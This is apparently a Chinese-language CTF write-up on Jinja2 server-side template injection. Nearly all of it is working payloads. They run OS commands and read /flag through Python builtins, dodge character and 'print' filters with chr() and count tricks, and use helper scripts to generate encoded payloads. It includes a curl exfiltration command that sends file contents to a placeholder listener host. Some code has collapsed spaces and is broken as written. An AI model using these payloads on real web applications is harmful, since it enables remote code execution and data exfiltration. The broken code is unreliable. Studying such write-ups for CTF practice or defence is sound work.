#python3.7 #命令执行 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()")}}{% endif %}{% endfor %} #文件操作 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %} #windows下的os命令 "".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()
name= {% set po=dict(po=a,p=a)|join()%} {% set a=(()|select|string|list)|attr(po)(24)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(config|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {%print(x.open(file).read())%}
下面逐行分析一下
name= {% set po=dict(po=a,p=a)|join()%} #通过dict和join构造出pop,注意这里通过dict构建字典的键为po和p,值均为a,而|join()是过滤器,这里使用可将字典的键进行连接
{% set a=(()|select|string|list)|attr(po)(24)%} #()|select通过select过滤器生成一个过滤器对象,不附加条件时生成默认对象,比如这里会生成<generator object select_or_reject at 0x7ff566a41ba0> (通过{%print ()|select%}) #()|select|string将上面的对象转为字符串,比如<generator object select_or_reject at 0x7ff566a41970> #()|select|string|list将字符串转换为单个字符的列表,比如['<', 'g', 'e', 'n', ..., 't', '>'] #attr(po)(24)通过动态构造pop方法提取前面字符串列表的第24个字符,这里是返回_ #整个语句就是通过构造将a赋值为_
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} #分别构造__init__,__globals__,__getitem__,__builtins__
{% set x=(config|attr(ini)|attr(glo)|attr(geti))(built)%} #获取config中的所有内置函数、变量和异常,将x指向builtins模块
{% set chr=x.chr%} #获取chr方法
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} #将file赋值为/flag
defauto_convert(input_str): """自动将输入转换为字符串或Payload""" if is_payload_format(input_str): return payload_to_string(input_str) else: return string_to_payload(input_str)
defpayload_to_string(payload): parts = payload.split('%2b') string = [] for part in parts: match = re.match(r'chr\((\d+)\)', part) ifmatch: num = int(match.group(1)) string.append(chr(num)) return''.join(string)
defstring_to_payload(s): payload_parts = [f'chr({ord(c)})'for c in s] return'%2b'.join(payload_parts)
# 使用示例 if __name__ == "__main__": user_input = input("请输入要转换的内容: ").strip() result = auto_convert(user_input) print("转换结果:", result)
payload="cat /flag" result="" for j in payload: k=0 for i inrange(0,100): r=requests.get(url=url.format(i)) location=r.text.find("<h3>") word=r.text[location+4:location+5] if word==j.lower(): print("(config|string|list).pop(%d).lower() == %s"%(i,j)) result+="(config|string|list).pop(%d).lower()~"%(i) k=1 break if k==0: print("未找到字符%s,扩大范围或者重新构造"%(j)) print(result[:len(result)-1])
name= {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(24)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {%print(x.open(file).read())%}
name= {% set c=(dict(e=a)|join|count)%} {% set cc=(dict(ee=a)|join|count)%} {% set ccc=(dict(eee=a)|join|count)%} {% set cccc=(dict(eeee=a)|join|count)%} {% set ccccccc=(dict(eeeeeee=a)|join|count)%} {% set cccccccc=(dict(eeeeeeee=a)|join|count)%} {% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%} {% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%} {% set coun=(cc~cccc)|int%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(config|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%} {%print(x.open(file).read())%}
curl外带
import requests cmd='__import__("os").popen("curl http://xxx:1223?p=`cat /flag`").read()' deffun1(s): t=[] for i inrange(len(s)): t.append(ord(s[i])) k='' t=list(set(t)) for i in t: k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n' return k deffun2(s): t=[] for i inrange(len(s)): t.append(ord(s[i])) t=list(set(t)) k='' for i inrange(len(s)): if i<len(s)-1: k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b' else: k+='chr('+'e'*(t.index(ord(s[i]))+1)+')' return k url ='name='+fun1(cmd)+''' {% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd='''+fun2(cmd)+''' %} {%if x.eval(cmd)%} abc {%endif%} ''' print(url)
先监听1223端口,再将获得的数据传参获得flag
web371(+print)
过滤print所以构造的方法都行不通了,只有打外带
curl外带
脚本同370
import requests cmd='__import__("os").popen("curl http://xxx:1223?p=`cat /flag`").read()' deffun1(s): t=[] for i inrange(len(s)): t.append(ord(s[i])) k='' t=list(set(t)) for i in t: k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n' return k deffun2(s): t=[] for i inrange(len(s)): t.append(ord(s[i])) t=list(set(t)) k='' for i inrange(len(s)): if i<len(s)-1: k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b' else: k+='chr('+'e'*(t.index(ord(s[i]))+1)+')' return k url ='name='+fun1(cmd)+''' {% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd='''+fun2(cmd)+''' %} {%if x.eval(cmd)%} abc {%endif%} ''' print(url)